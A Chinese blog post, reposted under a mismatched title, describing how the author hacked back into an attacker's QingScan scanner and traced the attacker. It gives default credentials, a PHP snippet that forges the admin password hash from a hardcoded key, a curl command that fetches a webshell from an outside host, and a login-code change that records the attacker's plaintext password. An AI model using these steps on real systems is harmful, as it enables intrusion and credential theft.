开源扫描工具_静态代码扫描

(1) 2024-09-23 17:12

Hi,大家好,我是编程小6,很荣幸遇见你,我把这些年在开发过程中遇到的问题或想法写出来,今天说一说
开源扫描工具_静态代码扫描,希望能够帮助你!!!。

前言

在某次应急中发现攻击者使用了QingScan扫描器对目标资产进行扫描攻击,本篇文章简单描述应急过程中对该扫描器的反制方法和溯源思路(本地测试环境进行复现)

反制过程

数据库权限

扫描器启动时存在两个服务,一个是扫描服务,另外一个是数据库服务。

由于目标扫描器用docker启动,启动时的参数容易被忽略,导致开放的33306端口的数据库服务存在默认的弱口令: root/123。这也是本次反制过程中最关键的点

开源扫描工具_静态代码扫描_https://bianchenghao6.com/blog__第1张

后台权限

由于需要取证确实为该服务器存在对目标服务进行漏洞扫描行为,所以需要进入后台更直观地看到扫描项目信息。

后端代码对用户密码进行了加密处理,在未成功爆破出有效密码的情况下,选择了自己生成密码hash并将数据库中已有的密码Hash进行替换的方案

登录处密码处理逻辑如下

开源扫描工具_静态代码扫描_https://bianchenghao6.com/blog__第2张

从图中代码可以想到用于身份校验的数据库中的密码hash与密码、用户名明文和UC_AUTH_KEY相关

其中UC_AUTH_KEY为硬编码存放在code/config/app.php

开源扫描工具_静态代码扫描_https://bianchenghao6.com/blog__第3张

最后通过ucenter_md5方法生成最终的密码Hash

开源扫描工具_静态代码扫描_https://bianchenghao6.com/blog__第4张

简化逻辑如下

<?php $str = "admin@123"."admin";//$password.$username $key = "xt1l3a21uo0tu2oxtds3wWte23dsxix2d3in7yuhui32yuapatmdsnnzdazh1612ongxxin2z"; echo md5(md5(sha1($str) . $key)."###xt"); //e9e6a217f80fa90c39aab646

替换Hash后成功登录管理后台

开源扫描工具_静态代码扫描_https://bianchenghao6.com/blog__第5张

命令执行权限

在对代码进行审计的过程中,发现code/app/common.php#systemLog存在命令执行点

开源扫描工具_静态代码扫描_https://bianchenghao6.com/blog__第6张

在 /code/app/model/ProcessSafeModel.php中被调用

开源扫描工具_静态代码扫描_https://bianchenghao6.com/blog__第7张

后台对应的功能点为:系统设置-守护进程管理-添加守护进程,value字段即可执行的命令参数

开源扫描工具_静态代码扫描_https://bianchenghao6.com/blog__第8张

利用curl远程请求web获取webshell输出到目标web目录(/root/qingscan/code/public/)

curl http://host/info.txt -o /root/qingscan/code/public/12121.php
开源扫描工具_静态代码扫描_https://bianchenghao6.com/blog__第9张

开源扫描工具_静态代码扫描_https://bianchenghao6.com/blog__第10张

上传成功后获取到目标服务器部分权限

开源扫描工具_静态代码扫描_https://bianchenghao6.com/blog__第11张

由于目标权限在docker内,没有通过shell获取到其他有用的信息。但服务器中还部署了其他的服务,

所以拿到shell后修改了这套程序的登陆逻辑,登陆成功后会记录攻击者本人的明文密码,方便后续对攻击服务器中的其他服务进行爆破

在登录逻辑处修改相关代码,若攻击者账号成功登录,会将密码保存至网站根目录code.txt文件内

开源扫描工具_静态代码扫描_https://bianchenghao6.com/blog__第12张

效果如下

开源扫描工具_静态代码扫描_https://bianchenghao6.com/blog__第13张

但在真实环境等待几天后攻击者并没有登录,服务器也随之关闭。反制到此结束

溯源思路

‍针对该扫描器功能的溯源思路如下

思路一:

在本次应急过程中,攻击者在扫描器后台配置了fofa的API信息,通过邮箱(号@.com)找到了攻击者的具体的身份信息和常用id

开源扫描工具_静态代码扫描_https://bianchenghao6.com/blog__第14张

思路二

该扫描器存在登录日志功能,可以通过记录的ip对攻击者进行模糊定位。

开源扫描工具_静态代码扫描_https://bianchenghao6.com/blog__第15张

今天的分享到此就结束了,感谢您的阅读,如果确实帮到您,您可以动动手指转发给其他人。

上一篇

已是最后文章

下一篇

已是最新文章

发表回复